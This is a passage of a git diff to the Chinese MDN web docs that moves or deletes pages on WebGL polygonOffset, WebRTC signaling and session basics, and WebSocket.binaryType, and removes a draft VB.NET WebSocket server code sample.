想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

+ +
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
+gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

+ +

See also

+ +
    +
  • {{domxref("WebGLRenderingContext.depthFunc()")}}
  • +
diff --git "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" "b/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" deleted file mode 100644 index a62d4aeafa..0000000000 --- "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebGLRenderingContext.polygonOffset() -slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) -translation_of: Web/API/WebGLRenderingContext/polygonOffset ---- -
{{APIRef("WebGL")}}
- -

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

- -

The offset is added before the depth test is performed and before the value is written into the depth buffer.

- -

语法

- -
void gl.polygonOffset(factor, units);
-
- -

参数

- -
-
factor
-
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
-
units
-
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
-
- -

返回值

- -

None.

- -

例子

- -

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

- -
gl.enable(gl.POLYGON_OFFSET_FILL);
-gl.polygonOffset(2, 3);
-
- -

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

- -
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
-gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
-
- -

说明

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
- -

Browser compatibility

- - - -

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

- -

See also

- -
    -
  • {{domxref("WebGLRenderingContext.depthFunc()")}}
  • -
diff --git a/files/zh-cn/web/api/webrtc_api/architecture/index.html b/files/zh-cn/web/api/webrtc_api/architecture/index.html deleted file mode 100644 index 5f37d83529..0000000000 --- a/files/zh-cn/web/api/webrtc_api/architecture/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: WebRTC 架构概览 -slug: Web/API/WebRTC_API/Architecture -tags: - - WebRTC 架构概览 -translation_of: Web/API/WebRTC_API/Protocols -translation_of_original: Web/API/WebRTC_API/Architecture ---- -

{{WebRTCSidebar}}

- -

用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。

- -

为了让WebRTC正常工作,需要的协议、标准和API比较繁多。因此对于初学者来说可能会比较难以理解。当你一旦上手,你会惊喜地发现原来这一切都是如此的优雅和简单易懂。至于你信不信,反正我是信了。

- - - - -

重定向 WebRTC 协议介绍

diff --git a/files/zh-cn/web/api/webrtc_api/overview/index.html b/files/zh-cn/web/api/webrtc_api/overview/index.html deleted file mode 100644 index da693553b8..0000000000 --- a/files/zh-cn/web/api/webrtc_api/overview/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: WebRTC API overview -slug: Web/API/WebRTC_API/Overview -translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage -translation_of_original: Web/API/WebRTC_API/Overview ---- -

{{WebRTCSidebar}}

- -

WebRTC是由一些关联的API和协议一起协作,支持两个或多个终端之间交换数据和媒体信息的技术。这篇文章提供了这些APIs的介绍和提供的功能。

- -

RTCPeerConnection

- -

在媒体能够交换,或者数据通道建立之前,你需要把两个终端连接起来。这个连接过程的完成就是使用{{domxref("RTCPeerConnection")}} 接口。

- -

MediaStream

- -

{{domxref("MediaStream")}}接口描述了终端之间传输的媒体流。这个流由一个或多个媒体通道信息;通常这是一个音频通道或者视频通道信息。一个媒体流能够传输实时的媒体(例如音频通话或者视频会议等)或者已存的媒体(例如网上电影)。

- -

RTCDataChannel

- -

WebRTC支持在建立连接的两个终端之间相互的传输二进制数据。这个过程通过{{domxref("RTCDataChannel")}}接口。

- -

这个接口可以作为数据的反向通道,甚至作为主要的数据通道去交换各种数据。例如在游戏应用中,通过这个接口可以实现多玩家支持,相互传送玩家的动作更新之类的数据。

diff --git a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html new file mode 100644 index 0000000000..86ddf25b47 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html @@ -0,0 +1,88 @@ +--- +title: WebRTC 介绍 +slug: WebRTC/介绍 +translation_of: Web/API/WebRTC_API/Session_lifetime +--- +
+

此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

+ +

WebRTC允许您将任意数据,音频或视频(或其任何组合)的点对点通信构建到浏览器应用程序中。 在本文中,我们将介绍一个WebRTC会话的生命周期,从建立连接到不再需要时关闭连接。

+
+ +

创建连接

+ +

互联网很大 很大。 那么多年以前,聪明的人看到它有多大,增长速度有多快,32位IP寻址系统的局限性,并意识到有些事情要做,所以他们开始设计一个新的 64位寻址系统。 但是他们意识到,完成转换需要更长时间才能持续32位地址,所以其他一些机智的人们想出了让多台计算机共享同一个32位IP地址的方法。 网络地址转换(NAT)是通过操纵LAN上的所有设备的数据出入的路由来支持这种地址共享的标准,所有这些设备都共享同一个WAN(全局)IP地址。

+ +

用户的问题是互联网上的每台个人计算机不再一定具有唯一的IP地址,实际上,每个设备的IP地址也会变,不仅可能由于设备从一个网络移动到另一个网络,也可能被NAT和/或DHCP改变。 对于尝试进行点对点网络的开发人员,这引入了一个难题:没有每个用户设备的唯一标识符,不可能立即自动地知道如何连接到Internet上的特定设备。 即使你知道你想谈论的人,你不一定知道如何到达他们,甚至也不知道他们的地址。

+ +

这就像您尝试向您的朋友Michelle发送一个包裹,但您只在这个包裹上贴了一个写着“Michelle”的标签,而您并不知道她的地址。 您得查到她的地址并将其包装在包中,要不然她会在想为什么你又忘记她的生日了。

+ +

这就是信令(Signaling)的由来。

+ +

信令

+ +

信令是在两个设备之间发送控制信息以确定通信协议、信道、媒体编解码器和格式以及数据传输方法以及任何所需的路由信息的过程。 关于WebRTC的信令流程最重要的一点是:信令在规范中并没有定义。所以开发者需要自己决定如何实现这个过程。开发者可以为应用程序引擎选择任意的信息协议(如SIP或XMPP),任意双向通信信道(如WebSocket或XMLHttpRequest)与持久连接服务器的API(如Google Channel API)一起工作。

+ +

你可能会想,为什么这么一个对于建立WebRTC连接至关重要的基本过程居然没有定义在规范里? 答案很简单:由于两个设备无法直接相互联系,规范无法预测WebRTC的所有可能用例,因此更明智的做法就是让开发人员们自己选择合适的网络技术和消息传递协议。

+ +

尤其是如果一个开发人员已经有了一个连接两个设备的方法,那也没有必要强迫他们就为了WebRTC使用另一个规范定义的方法。 由于WebRTC没有生活在真空中,所以可能还有其他的连接,因此,如果可以使用已有的连接通道,就可以避免添加额外的连接通道。

+ +

为了交换信令信息,您可以选择通过WebSocket连接来回发送JSON对象,或者您可以在适当的通道(Channel)上使用XMPP或SIP,或者您可以通过HTTPS使用XMLHttpRequest进行轮询或者其他任何你可以想出来的技术组合。你甚至可以使用电子邮件作为信号通道。

+ +

还值得注意的是,用于执行信令的信道甚至不需要通过网络。 一个Peer可以输出一个数据对象,这个数据对象可以被打印出来,然后物理携带(步行或由信鸽)直到进入另一个设备,然后由该设备输出响应,并以同种方式返回, 直到WebRTC对等连接打开。 这将带来非常高的延迟,但也是可以做到的。

+ +

信令期间交换的信息

+ +

信令期间需要交换的信息有三种基本类型:

+ +
    +
  • 控制消息:用于设置、打开、关闭通信通道并处理错误。
  • +
  • 为了建立连接所需的信息:设备间能够彼此交谈所需的IP寻址和端口信息。
  • +
  • 媒体能力协商:交互双方可以理解哪些编解码器和媒体数据格式? 这些都需要在WebRTC会议开始之前达成一致。
  • +
+ +

只有在信令成功完成之后,打开WebRTC对等连接的过程才真正开始。

+ +

值得注意的是,在信令期间,信令服务器实际上不需要理解两个设备之间交换的数据或者对这些数据做任何处理。 信令服务器本质上就是一个中继器:两端连接的公共点,两端都知道它们的信令数据可以通过这个点来传输。 服务器不需要以任何方式对此信息做出反应。

+ +

信令过程

+ +

为了开启一个WebRTC会话,以下事件需要依次发生:

+ +
    +
  1. 每个Peer创建一个RTCPeerConnection对象,用来表示其WebRTC会话端。
  2. +
  3. 每个Peer建立一个icecandidate事件的响应程序,用来在监测到该事件时将这些candidates通过信令通道发送给另一个Peer。
  4. +
  5. 每个Peer建立一个track事件的响应程序,这个事件会在远程Peer添加一个track到其stream上时被触发。这个响应程序应将tracks和其消受者联系起来,例如{{HTMLElement("video")}}元素。
  6. +
  7. 呼叫者创建并与接收者共享一个唯一的标识符或某种令牌,使得它们之间的呼叫可以由信令服务器上的代码来识别。此标识符的确切内容和形式取决于您。
  8. +
  9. 每个Peer连接到一个约定的信令服务器,如WebSocket服务器,他们都知道如何与之交换消息。
  10. +
  11. 每个Peer告知信令服务器他们想加入同一WebRTC会话(由步骤4中建立的令牌标识)。
  12. +
  13. 描述,候选地址等 -- 之后会有更多
  14. +
+ +

ICE 重连

+ +

有时,在WebRTC会话的整个生命周期内,网络条件会发生变化。 其中一个用户可能会从蜂窝网络转移到WiFi网络,或者网络可能会变得拥塞。 当这种情况发生时,ICE代理可以选择执行ICE重连。 在这个过程中网络连接会进行重新协商,与执行初始ICE协商的方式完全相同,除了:媒体继续流过原始网络连接直到新的开始运行。 然后媒体转移到新的网络连接,旧的关闭。

+ +

不同的浏览器支持在不同情况下的进行ICE重连。 例如,并不是所有的浏览器都会因为网络拥塞执行ICE重连。

+ +

ICE重连有两个级别:全ICE重连会导致会话中的所有媒体流重新协商。 部分ICE重连允许ICE重新协商特定媒体流,而不是所有媒体流进行重新协商。 然而,有些浏览器还不支持部分ICE重启。 <<<你如何触发每一个?>>>

+ +

如果您需要以某种方式更改连接的配置(例如更改为不同的ICE服务器集),您可以调用RTCPeerConnection.setConfiguration()设置新的RTCConfiguration字典,然后重新启动ICE。

+ +

要明确触发ICE重新启动,只需通过调用RTCPeerConnection.createOffer()启动一个协商过程,同时指定iceRestart选项为true。 然后就像平时那样处理连接过程即可。

+ +

发送

+ +

getUserMedia(获取用户媒体)

+ +

LocalMediaStream object

+ +

接收

+ +

WebRTC 在Firefox浏览器的偏好选择选项是隐藏的。可以到 about:config 这个页面设置 'media.navigator.enabled' 为 'true'。

+ +
+

在Source tree 中有一些测试文件可以提供给您关于WebRTC如何工作的一个想法。具体例子请查看: dom/media/tests/local_video_test.html。您也可以尝试 服务器demo ,源代码: server source

+
+ +

 

diff --git a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html b/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html deleted file mode 100644 index 67464bdbd1..0000000000 --- a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: WebRTC basics -slug: Web/API/WebRTC_API/WebRTC_basics -translation_of: Web/API/WebRTC_API/Signaling_and_video_calling -translation_of_original: Web/API/WebRTC_API/WebRTC_basics ---- -

{{WebRTCSidebar}}

- -
-

当你理解 WebRTC 架构之后, 你就可以阅读本篇文章了。本篇文章将带领你贯穿整个跨浏览器 RTC 应用的创建过程。到本章结束的时候,你就拥有了一个可以运行的点对点的数据通道和媒体通道。

-
- -
-

本页的案例过期了! 不要再尝试他们了。

-
- -

注意

- -

由于近期 API 做了一些修改,一些比较老的案例需要修复,暂时不可用。

- - - -

当前可以正常工作的的案例是:

- - - -

正确的实现方式或许可以从标准中推断出来。

- -

本页包含的其余的过期的信息,在 bugzilla

- -

Shims

- -

就像你想的那样,这样前卫的 API 肯定需要浏览器前缀才可以,然后再将它转换成通用的变量。

- -
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
-var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
-var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
-navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
- -

RTCPeerConnection

- -

这是使用 peer 创建连接的起始点。它接收一个配置选项,其中配置了用来创建连接的 ICE 服务器信息。

- -
var pc = new RTCPeerConnection(configuration);
- -

RTCConfiguration

- -

 {{domxref("RTCConfiguration")}} 对象包含了一些信息,这些信息是关于用来做 ICE 的 TURN 和 / 或 STUN 服务器的。这是用来确保大多数用户可以避免因 NAT 和防火墙导致的无法建立连接。

- -
var configuration = {
-    iceServers: [
-        {urls: "stun:23.21.150.121"},
-        {urls: "stun:stun.l.google.com:19302"},
-        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
-    ]
-}
- -

Google 运行了一个我们可以使用的公共 STUN 服务器。我也在 http://numb.viagenie.ca/ 创建了一个免费的可以访问 TURN 服务器的账户。可能你也想这么做,你只要替换到你自己的许可证书就可以了。

- - - -

ICECandidate

- - - -

创建好 PeerConnection 并传入可用的 STUNTURN 之后,当 ICE 框架找到可以使用 Peer 创建连接的 “候选者”,会立即触发一个事件(onicecandidate)。这些 “候选者” 就是 ICECandidate, 而且他们会在 PeerConnection#onicecandidate 事件中执行一个回调函数。

- -
pc.onicecandidate = function (e) {
-    // candidate exists in e.candidate
-    if (!e.candidate) return;
-    send("icecandidate", JSON.stringify(e.candidate));
-};
- -

回调函数执行之后,我们必须使用信令通道 (signal channel) 将候选发送到其他的点。在 Chrome 中,ICE 框架一般会找到重复的候选者,所以,我一般只发送第一个,然后将处理函数删除。Firfox 中将候选者包含在了 Offer SDP 中。

- -

Signal Channel

- -

现在我们有了 ICE 候选,然后需要将它发送到我们的另一端,以让它知道如何跟我们建立连接。然而,现在有一个先有鸡还是先有蛋的问题。我们想要 PeerConnection 发送数据到另一端,但是在那之前我们需要先把元数据发送过去……

- -

现在就是用到信令通道(Signal Channel)的时候了。它的任何一个数据传输方法都允许两个端点之间交换信息。在本文中,我们将使用 FireBase。因为它设置起来灰常简单,并且不需要任何主机或者服务器端的代码编写。

- -

现在我们想象只有两个两个方法:send(), 它将使用一个键,然后将数据赋值给它;recv() ,当一个键有值的时候会调用一个处理函数。

- -

数据库的结构就像下面这样:

- -
{
-    "": {
-        "candidate:": …
-        "offer": …
-        "answer": …
-    }
-}
- -

连接会被 roomId 分割,然后会保存四条信息:发起者 (oferer) 的 ICE 候选、应答者 (answerer) 的 ICE 候选、offer SDP 和 answer SDP.

- -

Offer

- -

Offer SDP 是用来向另一端描述期望格式(视频, 格式, 解编码, 加密, 解析度, 尺寸 等等)的元数据。

- -

一次信息的交换需要从一端拿到 offer,然后另外一端接受这个 offer 然后返回一个 answer。

- -
pc.createOffer(function (offer) {
-    pc.setLocalDescription(offer, function() {
-        send("offer", JSON.stringify(pc.localDescription));
-    }, errorHandler);
-}, errorHandler, options);
- -

errorHandler

- -

创建 offer 的过程如果出现问题,就会执行这个函数,并且将错误的详细信息作为第一个参数。

- -
var errorHandler = function (err) {
-    console.error(err);
-};
- -

options

- -

Offer SDP 的选项.

- -
var options = {
-    offerToReceiveAudio: true,
-    offerToReceiveVideo: true
-};
- -

offerToReceiveAudio/Video 告诉另一端,你想接收视频还是音频。对于 DataChannel 来说,这些是不需要的。

- -

offer 创建好之后,我们必须将本地 SDP 设置进去,然后通过信令通道将它发送到另一端,之久就静静地等待另一端的 Answer SDP 吧.

- -

Answer

- -

Answer SDP 跟 offer 是差不多的,只不过它是作为相应的。有点像接电话一样。我们只能在接收到 offer 的时候创建一次 Answer.

- -
recv("offer", function (offer) {
-    offer = new SessionDescription(JSON.parse(offer))
-    pc.setRemoteDescription(offer);
-
-    pc.createAnswer(function (answer) {
-        pc.setLocalDescription(answer, function() {
-            send("answer", JSON.stringify(pc.localDescription));
-        }, errorHandler);
-    }, errorHandler);
-});
- -

DataChannel

- -

我将首先阐述如何将 PeerConnection 用在 DataChannels API 上,并且如何在 peers 之间传输任意数据。

- -

注意:撰写这篇文章的时候,DataChannels 在 Chrome 和 Firefox 之间是无法互用的。Chrome 支持了一个类似的私有协议,这个协议将在不久被标准协议支持。

- -
var channel = pc.createDataChannel(channelName, channelOptions);
- -

offer 的创建者和 channel 的创建者应该是同一个 peer。 answer 的创建者将在 PeerConnection 的 ondatachannel 回调中接收到 这个 channel。你必须在创建了这个 offer 之后立即调用 createDataChannel()。

- -

channelName

- -

这个字符串会作为 channel 名字的标签。注意:确保你 Channel 的名字中没有空格,否则在 Chrome 中调用 createAnswer() 将会失败。

- -

channelOptions

- -
var channelOptions = {};
- -

当前 Chrome 还不支持这些选项,所以你可以将这些选项留空。检查 RFC 以获取更多关于这些选项的信息。

- -

Channel 事件和方法

- -

onopen

- -

当连接建立的时候会被执行。

- -

onerror

- -

连接创建出错时执行。第一个参数是一个 error 对象。

- -
channel.onerror = function (err) {
-    console.error("Channel Error:", err);
-};
- -

onmessage

- -
channel.onmessage = function (e) {
-    console.log("Got message:", e.data);
-}
- -

这是连接的核心。当你接收到消息的时候,这个方法会执行。第一个参数是一个包含了数据、接收时间和其它信息的 event 对象。

- -

onclose

- -

当连接关闭的时候执行。

- -

绑定事件

- -

如果你是这个 channel 的创建者(offerer), 你可以直接在通过 createChannel 创建的 DataChannel 上绑定事件。如果你是 answerer 你必须使用 PeerConnection 的 ondatachannel 回调去访问这个 channel。

- -
pc.ondatachannel = function (e) {
-    e.channel.onmessage = function () { … };
-};
- -

这个 channel 可以在传递到回调函数中的 event 对象中以 e.channel 的方式访问。

- -

send()

- -
channel.send("Hi Peer!");
- -

这个方法允许你直接传递数据到 peer!令人惊奇。你必须传递确保传递的数据是 String, Blob, ArrayBuffer 或者 ArrayBufferView 中的一种类型,所以,确保字符串化对象。

- -

close()

- -

在连接应该中止的时候关闭 channel。推荐在页面卸载的时候调用。

- -

Media

- -

现在我们将会涉及到如何传递诸如音视频的媒体的话题。要显示音视频,你必须在文档中加入包含 autoplay 属性的  <video> 标签。

- -

Get User Media

- -
<video id="preview" autoplay></video>
-
-var video = document.getElementById("preview");
-navigator.getUserMedia(constraints, function (stream) {
-    video.src = URL.createObjectURL(stream);
-}, errorHandler);
- -

constraints

- -

约定你想从用户获取到的媒体类型。

- -
var constraints = {
-    video: true,
-    audio: true
-};
- -

如果你只想进行音频聊天,移除 video 成员。

- -

errorHandler

- -

当返回请求的媒体错误时被调用

- -

Media Events and Methods

- -

addStream

- -

将从 getUserMedia 返回的流加入 PeerConnection。

- -
pc.addStream(stream);
- -

onaddstream

- -
<video id="otherPeer" autoplay></video>
-
-var otherPeer = document.getElementById("otherPeer");
-pc.onaddstream = function (e) {
-    otherPeer.src = URL.createObjectURL(e.stream);
-};
- -

当连接建立并且其它的 peer 通过 addStream 将流加入到了连接中时会被调用。你需要另外的 <video> 标签去显示其它 peer 的媒体。

- -

第一个参数是包含了其它 peer 流媒体的 event 对象。

diff --git a/files/zh-cn/web/api/websocket/binarytype/index.html b/files/zh-cn/web/api/websocket/binarytype/index.html new file mode 100644 index 0000000000..aad8e48fc2 --- /dev/null +++ b/files/zh-cn/web/api/websocket/binarytype/index.html @@ -0,0 +1,56 @@ +--- +title: WebSocket.binaryType +slug: Web/API/WebSocket/二进制类型 +tags: + - 参考 + - 属性 + - 应用编程接口 + - 网页套接字 + - 网页接口 +translation_of: Web/API/WebSocket/binaryType +--- +

{{APIRef("Web Sockets API")}}

+ +

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

+ +

语法

+ +
var binaryType = aWebSocket.binaryType;
+ +

返回值

+ +

 一条{{DOMXref("DOMString")}}:

+ +
+
"blob"
+
如果传输的是 {{domxref("Blob")}} 类型的数据。
+
"arraybuffer"
+
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 +

 

+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebSocket.binaryType")}}

diff --git "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" "b/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" deleted file mode 100644 index aad8e48fc2..0000000000 --- "a/files/zh-cn/web/api/websocket/\344\272\214\350\277\233\345\210\266\347\261\273\345\236\213/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: WebSocket.binaryType -slug: Web/API/WebSocket/二进制类型 -tags: - - 参考 - - 属性 - - 应用编程接口 - - 网页套接字 - - 网页接口 -translation_of: Web/API/WebSocket/binaryType ---- -

{{APIRef("Web Sockets API")}}

- -

WebSocket.binaryType 返回websocket连接所传输二进制数据的类型。

- -

语法

- -
var binaryType = aWebSocket.binaryType;
- -

返回值

- -

 一条{{DOMXref("DOMString")}}:

- -
-
"blob"
-
如果传输的是 {{domxref("Blob")}} 类型的数据。
-
"arraybuffer"
-
如果传输的是 {{jsxref("ArrayBuffer")}} 类型的数据。 -

 

-
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-websocket-binarytype', 'WebSocket: binaryType')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.WebSocket.binaryType")}}

diff --git a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html b/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html deleted file mode 100644 index 3969f9c5ea..0000000000 --- a/files/zh-cn/web/api/websockets_api/websocket_server_vb.net/index.html +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: WebSocket Server Vb.NET -slug: Web/API/WebSockets_API/WebSocket_Server_Vb.NET -translation_of: Web/API/WebSockets_API/WebSocket_Server_Vb.NET ---- -

{{gecko_minversion_header("2")}}{{draft}}

- -

下面的示例没有优化。没有使用 .NET 4.5 Websocket。
-
- 当前版本:

- -
    -
  • 包含了一个System.Net.Sockets.TcpClient类的泛型集合
  • -
  • 特性 - 自定义事件和委托处理程序
  • -
  • 特性 -  线程化和实现Timers.Timer
  • -
  • 演示如何使用网络流将帧写回客户机(opCode 0001)
  • -
  • 是否打算作为本教程和其他贡献者的起点
  • -
- -

 

- -
Imports System.Net.Sockets
-Imports System.Net
-Imports System
-Imports System.Text
-Imports System.Text.RegularExpressions
-
-
-Namespace TypeDef.WebSocket
-
-    Public Class Client
-        Dim _TcpClient As System.Net.Sockets.TcpClient
-
-        Public Delegate Sub OnClientDisconnectDelegateHandler()
-        Public Event onClientDisconnect As OnClientDisconnectDelegateHandler
-
-
-        Sub New(ByVal tcpClient As System.Net.Sockets.TcpClient)
-            Me._TcpClient = tcpClient
-        End Sub
-
-
-        Function isConnected() As Boolean
-            Return Me._TcpClient.Connected
-        End Function
-
-
-        Sub HandShake()
-            Dim stream As NetworkStream = Me._TcpClient.GetStream()
-            Dim bytes As Byte()
-            Dim data As String
-
-            While Me._TcpClient.Connected
-                While (stream.DataAvailable)
-                    ReDim bytes(Me._TcpClient.Client.Available)
-                    stream.Read(bytes, 0, bytes.Length)
-                    data = System.Text.Encoding.UTF8.GetString(bytes)
-
-                    If (New System.Text.RegularExpressions.Regex("^GET").IsMatch(data)) Then
-
-                        Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" & Environment.NewLine & "Connection: Upgrade" & Environment.NewLine & "Upgrade: websocket" & Environment.NewLine & "Sec-WebSocket-Accept: " & Convert.ToBase64String(System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(New Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups(1).Value.Trim() & "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"))) & Environment.NewLine & Environment.NewLine)
-
-                        stream.Write(response, 0, response.Length)
-                        Exit Sub
-                    Else
-                        'We're going to disconnect the client here, because he's not handshacking properly (or at least to the scope of this code sample)
-                        Me._TcpClient.Close() 'The next While Me._TcpClient.Connected Loop Check should fail.. and raise the onClientDisconnect Event Thereafter
-                    End If
-                End While
-            End While
-            RaiseEvent onClientDisconnect()
-        End Sub
-
-
-        Sub CheckForDataAvailability()
-            If (Me._TcpClient.GetStream().DataAvailable) Then
-                Dim stream As NetworkStream = Me._TcpClient.GetStream()
-                Dim frameCount = 2
-                Dim bytes As Byte()
-                Dim data As String
-                ReDim bytes(Me._TcpClient.Client.Available)
-                stream.Read(bytes, 0, bytes.Length) 'Read the stream, don't close it..
-
-                Try
-                    Dim length As UInteger = bytes(1) - 128 'this should obviously be a byte (unsigned 8bit value)
-
-                    If length > -1 Then
-                        If length = 126 Then
-                            length = 4
-                        ElseIf length = 127 Then
-                            length = 10
-                        End If
-                    End If
-
-                    'the following is very inefficient and likely unnecessary..
-                    'the main purpose is to just get the lower 4 bits of byte(0) - which is the OPCODE
-
-                    Dim value As Integer = bytes(0)
-                    Dim bitArray As BitArray = New BitArray(8)
-
-                    For c As Integer = 0 To 7 Step 1
-                        If value - (2 ^ (7 - c)) >= 0 Then
-                            bitArray.Item(c) = True
-                            value -= (2 ^ (7 - c))
-                        Else
-                            bitArray.Item(c) = False
-                        End If
-                    Next
-
-
-                    Dim FRRR_OPCODE As String = ""
-
-                    For Each bit As Boolean In bitArray
-                        If bit Then
-                            FRRR_OPCODE &= "1"
-                        Else
-                            FRRR_OPCODE &= "0"
-                        End If
-                    Next
-
-
-                    Dim FIN As Integer = FRRR_OPCODE.Substring(0, 1)
-                    Dim RSV1 As Integer = FRRR_OPCODE.Substring(1, 1)
-                    Dim RSV2 As Integer = FRRR_OPCODE.Substring(2, 1)
-                    Dim RSV3 As Integer = FRRR_OPCODE.Substring(3, 1)
-                    Dim opCode As Integer = Convert.ToInt32(FRRR_OPCODE.Substring(4, 4), 2)
-
-
-
-                    Dim decoded(bytes.Length - (frameCount + 4)) As Byte
-                    Dim key As Byte() = {bytes(frameCount), bytes(frameCount+1), bytes(frameCount+2), bytes(frameCount+3)}
-
-                    Dim j As Integer = 0
-                    For i As Integer = (frameCount + 4) To (bytes.Length - 2) Step 1
-                        decoded(j) = Convert.ToByte((bytes(i) Xor masks(j Mod 4)))
-                        j += 1
-                    Next
-
-
-
-                    Select Case opCode
-                        Case Is = 1
-                            'Text Data Sent From Client
-
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            'handle this data
-
-                            Dim Payload As Byte() = System.Text.Encoding.UTF8.GetBytes("Text Recieved")
-                            Dim FRRROPCODE As Byte() = Convert.ToByte("10000001", 2) 'FIN is set, and OPCODE is 1 or Text
-                            Dim header as byte() = {FRRROPCODE, Convert.ToByte(Payload.Length)}
-
-
-                            Dim ResponseData As Byte()
-                            ReDim ResponseData((header.length + Payload.Length) - 1)
-                            'NOTEWORTHY: if you Redim ResponseData(header.length + Payload.Length).. you'll add a 0 value byte at the end of the response data..
-                            'which tells the client that your next stream write will be a continuation frame..
-
-                            Dim index as integer = 0
-
-                            Buffer.BlockCopy(header, 0, ResponseData, index, header.length)
-                            index += header.length
-
-                            Buffer.BlockCopy(payload, 0, ResponseData, index, payload.length)
-                            index += payload.length
-                            stream.Write(ResponseData, 0, ResponseData.Length)
-                      Case Is = 2
-                            '// Binary Data Sent From Client
-                            data = System.Text.Encoding.UTF8.GetString(decoded)
-                            Dim response As Byte() = System.Text.Encoding.UTF8.GetBytes("Binary Recieved")
-                             stream.Write(response, 0, response.Length)
-                      Case Is = 9 '// Ping Sent From Client
-                      Case Is = 10 '// Pong Sent From Client
-                      Case Else '// Improper opCode.. disconnect the client
-                            _TcpClient.Close()
-                            RaiseEvent onClientDisconnect()
-                      End Select
-                Catch ex As Exception
-                    _TcpClient.Close()
-                    RaiseEvent onClientDisconnect()
-                End Try
-            End If
-        End Sub
-    End Class
-
-
-
-    Public Class Server
-        Inherits System.Net.Sockets.TcpListener
-
-        Delegate Sub OnClientConnectDelegate(ByVal sender As Object, ByRef Client As WebSocket.Client)
-        Event OnClientConnect As OnClientConnectDelegate
-
-
-        Dim WithEvents PendingCheckTimer As Timers.Timer = New Timers.Timer(500)
-        Dim WithEvents ClientDataAvailableTimer As Timers.Timer = New Timers.Timer(50)
-        Property ClientCollection As List(Of WebSocket.Client) = New List(Of WebSocket.Client)
-
-
-
-        Sub New(ByVal url As String, ByVal port As Integer)
-            MyBase.New(IPAddress.Parse(url), port)
-        End Sub
-
-
-        Sub startServer()
-            Me.Start()
-            PendingCheckTimer.Start()
-        End Sub
-
-
-
